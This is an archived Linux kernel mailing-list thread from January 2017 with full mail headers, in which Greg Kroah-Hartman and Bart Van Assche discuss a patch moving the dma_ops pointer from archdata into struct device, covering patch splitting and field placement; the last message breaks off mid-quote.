	31:b+Cxk1zJayBc/h/4X3mlubcUR1C732mlSH4V2xSgsR28HKhL386RMYyg+haUzT9JdCvxJk8/nZP1NLcSKVbaxyXtdty3UdY/vL3BPhS1KGczM62osUxpa7TxV5M1REDLTX8dLJCFYmrinxUXi9n7xzMWeR5wxWg6heUaL4QPuy8y3/Uxkt9MGjnQOMD9FUxwUv2IMoKY5Q0Cs3q/ljKWLdma2XThCZLWtZcgRzbtNx699T+U1hnNTCzg253mA4VGeM3eP+vk1UUK6w0/krss779hYJDsxlkTGBiuiruzIRs=;
	20:affC45YmXsPx/15tyh+EJAqVCyZ+NP/PzFDsB4N3BdNtAZHFz7WwaLuW/PhTTFcUbQvvwjDeMMyMQIu0g3rHCVvZaz/Oeg0nXtHFDMCbynCh5ByPRSrXg8K3Rx3qz1zsstZQOeEHpyZ6GBPL7IIa5/BGWxT155bHORJdwi81bhEOVAzFUVmdFF74Ap5BY7KbI1QJ5EImqLdrQEYq8zhlEXi3S2FzATFvflBfL2ADugH9wYHCTa/wDeI5IlyV+fjN2mG6yPR45IlWAP55+xa5m8pmxUHzSPb6IwXz8IRnvc/x8og507LrmcotDZczHITTkq1AfVaKOj5EIKGdEJ5j6G/iZqeWEN0ECfvk7jhlNgYL5oDy/wtQ+eZr1e9tigxc/Wwe0DEvlAEc/0VWqAYFo23kcwvPAxhwx55npCDI2NiMenjgSvKI4PtLp33uJuoWSt6BPa6BLpv3buQue8nQuauf6HLL94Ef62voKebdKQqfFKdVsPZUVev9eejt0FEZ
X-Microsoft-Antispam-PRVS: <BY2PR02MB043DD16B8FDF47FF506190381660-USF8g7QUirA4U7mfXwc/XHlDjJuWSFo1XA4E9RH9d+qIuWR1G4zioA@public.gmane.org>
X-Exchange-Antispam-Report-Test: UriScan:;
X-Exchange-Antispam-Report-CFA-Test: BCL:0; PCL:0;
	RULEID:(6040375)(601004)(2401047)(13023025)(13017025)(13015025)(13024025)(13018025)(5005006)(8121501046)(3002001)(10201501046)(6055026)(6041248)(20161123562025)(20161123555025)(20161123564025)(20161123560025)(6072148);
	SRVR:BY2PR02MB043; BCL:0; PCL:0; RULEID:; SRVR:BY2PR02MB043; 
X-Microsoft-Exchange-Diagnostics: 1; BY2PR02MB043;
	4:6pJIXMpKBzWBD2Be2waEyE8N4QnEzyPb6hlZG0+5t+Jp0xPyLdXYeQmit410lWOgSTv83bXoTfv3s0VPFkAi2VH8/d5IcsxETkGTnrvv4ErVjdE5kdSIlz8dG5i28xaSInzI4v7queueAXzl1d3nEjhgThJPOGBIfEON1kFv4GSdPPz3qCaUWFqrVX8KfBb2Uwg5TCuwIrBrKHQIh9tV4TLCQZptiQRi/cKieWhosTZyu7kaQNAtElTR5HFezFgUqfRa8ABCEHZZeekzHtd2XqCHOlSL7i7BKxmtnT5T085XqTrmfsdHxf9ael8m4+NZ5VCA1WiGhWtXp83vzyRVfoKPSMxf98rbYiDPCb3fPRpN8k7xUNJnksPgaIvjplrk9lohFWRHKv2DwZBBlOHA7S0pn9NLKgrABClqCF7jEUnh+GHhh5eoSDcVOG1hHzY2vqGS2HBriDTAK+XbiLAtZHqorldYubUdLiFX8Rveo0cTkwz5ZWyosARhpBzjOFP7mEKN8y7RuGEyG+WvTn18QImm0NXtNzjrG39/jpbJ7fBOM02NKl3vuMbEI+vDVyNUaU4B7y/Uf8Rf37aQcB6FkDgnZnrqnsqVwfqaHG3ntnvhpBHwrBINYHv60kYVkq/RkfeFs7iVLsKJfnPNAJk72vgLYNi29YJTqz8+xZ8IUSYCY+1ZwYuhg11pvV48JY5S
X-Forefront-PRVS: 01842C458A
X-Microsoft-Exchange-Diagnostics: =?iso-8859-1?Q?1; BY2PR02MB043;
	23:6+zgRUtIEWwBIf5dJdgvLaCDqNHL30MxzDatjOK1?=
	=?iso-8859-1?Q?RGkbA62szOrCpbEkaxYA+hR58EFpeGdDnvBTfsvnKGlC5Tw/Z9D0rm3uHd?=
	=?iso-8859-1?Q?CAaphncjWgqPQs6cGRi65ADm7eHIe8HLIsskO4gW3zk+iiTmVJJGlHgfKl?=
	=?iso-8859-1?Q?US60kqgAjrViHpGk6MH2pkz6W4TLYEkjFBC5Oq2Eb2zhFoiNkFuvx4rIEE?=
	=?iso-8859-1?Q?EccgmVJi3D5OCeBkbFHbgCkQ1kGYbmZlMp1qLTooFSGDF5jfMI3M7gQBrO?=
	=?iso-8859-1?Q?YjkyYZ2ykj4k1BRBq5Jm7meRkfguXHDU6xP+Y2Ohg3fM8e1Rf4sOGzc1Xp?=
	=?iso-8859-1?Q?Z6DXFuGZcrlIACNwx96z19xb5Z+gk2jGEs9QWEB2vX31sG7R+H8o+gyuYN?=
	=?iso-8859-1?Q?M8cDAuduGPhogLHyEeaOV+6Nfx50S+86pkMDYg0Y8cmtwPx1YCq+XITZ6g?=
	=?iso-8859-1?Q?5xprvJ7jyLXtv3Vw1YZ0HO7L45tFO/8a0N0O3UkG44wRrjqoQ5oo1w69uj?=
	=?iso-8859-1?Q?zvapxN09QDkqCFk+oyaliJB3GZ1F+V6Fje+Mr9DPycfpXSbvsBiYeurxVZ?=
	=?iso-8859-1?Q?E8wPN2va6KmKyEpBJ+A1Y8l6izRZUskURqi7tWtgMeU976feaWSaZOnVam?=
	=?iso-8859-1?Q?p 
X-Microsoft-Exchange-Diagnostics: 1; BY2PR02MB043;
	6:KLPv9V/4H6qgzrN+eWR21OR5soCkmIvGekTbTgd5QGFf4r21YNUhbUelctOBphS1lmJmo0iakie/o+UJiwGKOH9e3YCDuXtY1ZMs/mSwcnPr/LpjG6fWfPQ/zwX3p+1DIBIq/sl8Rr6vxsBJNXNotxktniDnUzAte60SYBgkENu4HR9DEq2O8bZ5F+Drx5VM8TkR2qbU9SaYf/5vDWsekX2bylTNtS1MtBZmGPLG1E0fFEPczSPQ//1tKnLEoF08/BD5YJ3X5NG0bDQNDVa8TCEz+PYO4MFinL4h2RZakYb5iX/3L23OhsW9OkcHv7/+EpfmbsLGAAlHH+BBY3joVC3dLid3Bdw/dz/vR30E5cJw3PHsl8Filrpx4bpegkv88U+QSDaUIBNkiAkQ5ezbrShRSjzQIar8pvogYIgTmv5A+ephX/So6wyReW7lrmpxG77Nv6xuOC6g0adiFTVkyQ==;
	5:5qqFszUJUd7mUcNAJOxbIPByr9wtAH2tI9EYtKDBo1xYSdXqPUSGz8Nvl7+tyL6m6qBxwEfumSGvBELWh4wXOFYhF5rExI6JxCYamYSlZ64PPsD+d7W9P5g9SRJj2qszR2JBCZr/YkKCmLMrATDeULmVna1l9x0QQlbCRALytls=;
	24:MGHn2IR2RFJsayHsnVe+YU7J+tt1lSUCgukO+FSe+arXRt3YD184W1R5+1FkbC3dS/NlOw6Vm+WD9g9m1znnpTAr1DU3iGdzSeD2wdQwg+E=
SpamDiagnosticOutput: 1:99
SpamDiagnosticMetadata: NSPM
X-Microsoft-Exchange-Diagnostics: 1; BY2PR02MB043;
	7:rM7BeYbVELtFYYfIcdJlXOb5t6DWYUFmsNcNu0f8jusuRX2mPpn7oyaXA8WPRpHPWPKMESGvX/27LquFub0OtQz8X4hD90vgTa2nFHljSsYcL6VAUtXFEHAMX/leGCbI3LmK0t8e8o3Xr+r9SRSiS8d1glEnoEhdwn5rmGSx+glbfK5QfIxCvjE9Wv+jWHHOsl4C5Kdon+BILonv4wMAtitkL4OfpBICwP7JDc1Aw4qyNEgTqcXY+LfLfagZ7RcH0i687sm8Lz6oiaUlrz6eFuPbqLr71+QJ9Cc176nW5iNFJzsB0OGZHiCscRp7T9CY+vf6LfFZoaucPc8b62tbGa58PIQqow2ZJZ6B01b+KLcm0EUz/vJ+6p5PP1NhLqX6WXMZwkNeyImE/FK+uIbOuTKEBL18e9UcQyZteFrIcMQjP/OVHdWVQT5Wk9x7drZH7lR0v2xr3phmEF8eo52MRg==
X-OriginatorOrg: sandisk.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 11 Jan 2017 18:17:06.1179 (UTC)
X-MS-Exchange-CrossTenant-Id: fcd9ea9c-ae8c-460c-ab3c-3db42d7ac64d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=fcd9ea9c-ae8c-460c-ab3c-3db42d7ac64d;
	Ip=[74.221.232.54]; Helo=[sacsmgep14.sandisk.com]
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BY2PR02MB043
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:16581 gmane.linux.ports.mips.general:57441 gmane.linux.ports.ia64:27579 gmane.linux.ports.sparc:24347 gmane.linux.drivers.rdma:45453 gmane.linux.ports.hexagon:1099 gmane.linux.ports.sh.devel:55013 gmane.linux.kernel.pci:58122 gmane.linux.kernel.arc:1995 gmane.linux.ports.alpha:4021 gmane.linux.kernel.metag:1222 gmane.linux.ports.arm.kernel:549817 gmane.linux.ports.parisc:27170 gmane.linux.kernel:2385816 gmane.linux.ports.ppc64.devel:137158
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/16581>

On Wed, 2017-01-11 at 07:48 +0100, Greg Kroah-Hartman wrote:
> On Tue, Jan 10, 2017 at 04:56:41PM -0800, Bart Van Assche wrote:
> > Several RDMA drivers, e.g. drivers/infiniband/hw/qib, use the CPU to
> > transfer data between memory and PCIe adapter. Because of performance
> > reasons it is important that the CPU cache is not flushed when such
> > drivers transfer data. Make this possible by allowing these drivers to
> > override the dma_map_ops pointer. Additionally, introduce the function
> > set_dma_ops() that will be used by a later patch in this series.
> =

> When you say things like "additionally", that's a huge flag that this
> needs to be split up into multiple patches.=A0=A0No need to add
> set_dma_ops() here in this patch.

Hello Greg,

Some architectures already define a=A0set_dma_ops() function. So what this
patch does is to move both the dma_ops pointer and the set_dma_ops()
function from architecture-specific to architecture independent code. I
don't think that it is possible to separate these two changes. But I
understand that how I formulated the patch description caused confusion. I
will rewrite the patch description to make it more clear before I repost
this patch series.

> And I'd argue that it should be dma_ops_set(), and dma_ops_get(), just
> to keep the namespace sane, but that's probably a different set of
> patches...

Every time I rebase and retest this patch series on top of a new kernel
version I have to modify some of the patches to compensate for changes in
the architecture code. So I expect that once Linus merges these patches that
he will have to resolve one or more merge conflicts. Including a rename of
the functions that query and set the dma_ops pointer in this patch series
would increase the number of merge conflicts triggered by this patch series
and would make Linus' job harder. So I hope that you will allow me to
postpone that rename until a later time ...

Bart.

From - Thu Nov 08 21:39:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org" <gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.kernel.pci,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/9] Move dma_ops from archdata into struct device
Date: Wed, 11 Jan 2017 21:29:49 +0100
Lines: 62
Approved: news@gmane.org
Message-ID: <20170111202949.GA17895@kroah.com>
References: <20170111005648.14988-1-bart.vanassche@sandisk.com>
	<20170111005648.14988-3-bart.vanassche@sandisk.com>
	<20170111064624.GA26893@kroah.com>
	<1484157772.2619.12.camel@sandisk.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1484166963 13976 195.159.176.226 (11 Jan 2017 20:36:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 11 Jan 2017 20:36:03 +0000 (UTC)
User-Agent: Mutt/1.7.2 (2016-11-26)
Cc: "linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org" <linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>,
	"dalias-8zAoT0mYgF4@public.gmane.org" <dalias-8zAoT0mYgF4@public.gmane.org>,
	"linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"a-jacquiot-l0cyMroinI0@public.gmane.org" <a-jacquiot-l0cyMroinI0@public.gmane.org>,
	"catalin.marinas-5wv7dgnIgG8@public.gmane.org" <catalin.marinas-5wv7dgnIgG8@public.gmane.org>,
	"will.deacon-5wv7dgnIgG8@public.gmane.org" <will.deacon-5wv7dgnIgG8@public.gmane.org>,
	"x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org" <x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>, "mulix-BzGcCpaT2IbYtjvyW6yDsg@public.gmane.org" <mulix-BzGcCpaT2IbYtjvyW6yDsg@public.gmane.org>,
	"dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	"jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, "hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>,
	"sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org" <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>,
	"egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org" <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
	"jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org" <jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org>,
	"linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"jesper.nilsson-VrBV9hrLPhE@public.gmane.org" <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>,
	"linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	"linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org" <l
To: Bart Van Assche <Bart.VanAssche-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 11 21:35:52 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1cRPcS-0001dh-S9
	for glki-iommu@m.gmane.org; Wed, 11 Jan 2017 21:35:41 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 070C9A67;
	Wed, 11 Jan 2017 20:35:42 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from localhost (unknown [78.192.101.3])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 65515949;
	Wed, 11 Jan 2017 20:32:45 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1484157772.2619.12.camel-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:16583 gmane.linux.ports.mips.general:57443 gmane.linux.ports.ia64:27580 gmane.linux.ports.sparc:24351 gmane.linux.drivers.rdma:45458 gmane.linux.ports.hexagon:1100 gmane.linux.ports.sh.devel:55014 gmane.linux.kernel.pci:58139 gmane.linux.kernel.arc:1996 gmane.linux.ports.alpha:4022 gmane.linux.kernel.metag:1223 gmane.linux.ports.arm.kernel:549852 gmane.linux.ports.parisc:27171 gmane.linux.kernel:2385922 gmane.linux.ports.ppc64.devel:137159
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/16583>

On Wed, Jan 11, 2017 at 06:03:15PM +0000, Bart Van Assche wrote:
> On Wed, 2017-01-11 at 07:46 +0100, Greg Kroah-Hartman wrote:
> > On Tue, Jan 10, 2017 at 04:56:41PM -0800, Bart Van Assche wrote:
> > > Several RDMA drivers, e.g. drivers/infiniband/hw/qib, use the CPU to
> > > transfer data between memory and PCIe adapter. Because of performance
> > > reasons it is important that the CPU cache is not flushed when such
> > > drivers transfer data. Make this possible by allowing these drivers to
> > > override the dma_map_ops pointer. Additionally, introduce the function
> > > set_dma_ops() that will be used by a later patch in this series.
> > > =

> > > Signed-off-by: Bart Van Assche <bart.vanassche-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
> > > Cc: [ ... ]
> > =

> > That's a crazy cc: list, you should break this up into smaller pieces,
> > otherwise it's going to bounce...
> =

> That's a subset of what scripts/get_maintainer.pl came up with. Suggestio=
ns
> for a more appropriate cc-list for a patch like this that touches all
> architectures would be welcome.

You need to break this patch up into a series that can be applied in
sequence, don't change everything all at once.  That's a mess to merge,
as you are finding out.

> > > diff --git a/include/linux/device.h b/include/linux/device.h
> > > index 491b4c0ca633..c7cb225d36b0 100644
> > > --- a/include/linux/device.h
> > > +++ b/include/linux/device.h
> > > @@ -885,6 +885,8 @@ struct dev_links_info {
> > > =A0 * a higher-level representation of the device.
> > > =A0 */
> > > =A0struct device {
> > > +	const struct dma_map_ops *dma_ops; /* See also get_dma_ops() */
> > > +
> > > =A0	struct device		*parent;
> > > =A0
> > > =A0	struct device_private	*p;
> > =

> > Why not put this new pointer down with the other dma fields in this
> > structure?=A0=A0Any specific reason it needs to be first?
> =

> Are there CPU architectures for which access to the first member of a
> structure can be encoded and/or executed more efficiently than access to
> other members of a structure? If not, I'm fine with moving the new pointer
> further down.

Why do you think that your pointer is the one that gets to be "most
efficient"?  :)

Seriously, no, it doesn't matter at all, it's all just pointer math
which is very fast.  Put it with the other stuff please, don't try to
optimize something without ever measuring it.

thanks,

greg k-h

From - Thu Nov 08 21:39:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org" <gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.kernel.pci,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/9] Move dma_ops from archdata into struct device
Date: Wed, 11 Jan 2017 21:31:00 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <20170111203100.GB17895@kroah.com>
References: <20170111005648.14988-1-bart.vanassche@sandisk.com>
	<20170111005648.14988-3-bart.vanassche@sandisk.com>
	<20170111064803.GB26893@kroah.com>
	<1484158589.2619.14.camel@sandisk.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1484166988 21568 195.159.176.226 (11 Jan 2017 20:36:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 11 Jan 2017 20:36:28 +0000 (UTC)
User-Agent: Mutt/1.7.2 (2016-11-26)
Cc: "linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org" <linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>,
	"dalias-8zAoT0mYgF4@public.gmane.org" <dalias-8zAoT0mYgF4@public.gmane.org>,
	"linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"a-jacquiot-l0cyMroinI0@public.gmane.org" <a-jacquiot-l0cyMroinI0@public.gmane.org>,
	"catalin.marinas-5wv7dgnIgG8@public.gmane.org" <catalin.marinas-5wv7dgnIgG8@public.gmane.org>,
	"will.deacon-5wv7dgnIgG8@public.gmane.org" <will.deacon-5wv7dgnIgG8@public.gmane.org>,
	"x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org" <x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>, "mulix-BzGcCpaT2IbYtjvyW6yDsg@public.gmane.org" <mulix-BzGcCpaT2IbYtjvyW6yDsg@public.gmane.org>,
	"dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	"jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, "hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>,
	"sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org" <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>,
	"egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org" <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
	"jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org" <jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org>,
	"linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"jesper.nilsson-VrBV9hrLPhE@public.gmane.org" <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>,
	"linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	"linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org" <l
To: Bart Van Assche <Bart.VanAssche-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 11 21:36:18 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1cRPd3-0004tB-RE
	for glki-iommu@m.gmane.org; Wed, 11 Jan 2017 21:36:18 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 3AA67B57;
	Wed, 11 Jan 2017 20:36:22 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from localhost (unknown [78.192.101.3])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id BE972B43;
	Wed, 11 Jan 2017 20:35:48 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1484158589.2619.14.camel-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:16584 gmane.linux.ports.mips.general:57444 gmane.linux.ports.ia64:27581 gmane.linux.ports.sparc:24352 gmane.linux.drivers.rdma:45459 gmane.linux.ports.hexagon:1101 gmane.linux.ports.sh.devel:55015 gmane.linux.kernel.pci:58140 gmane.linux.kernel.arc:1997 gmane.linux.ports.alpha:4023 gmane.linux.kernel.metag:1224 gmane.linux.ports.arm.kernel:549853 gmane.linux.ports.parisc:27172 gmane.linux.kernel:2385923 gmane.linux.ports.ppc64.devel:137160
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/16584>

On Wed, Jan 11, 2017 at 06:17:03PM +0000, Bart Van Assche wrote:
> On Wed, 2017-01-11 at 07:48 +0100, Greg Kroah-Hartman wrote:
> > On Tue, Jan 10, 2017 at 04:56:41PM -0800, Bart Van Assche wrote:
> > > Several RDMA drivers, e.g. drivers/infiniband/hw/qib, use the CPU to
> > > transfer data between memory and PCIe adapter. Because of performance
> > > reasons it is important that the CPU cache is not flushed when such
> > > drivers transfer data. Make this possible by allowing these drivers to
> > > override the dma_map_ops pointer. Additionally, introduce the function
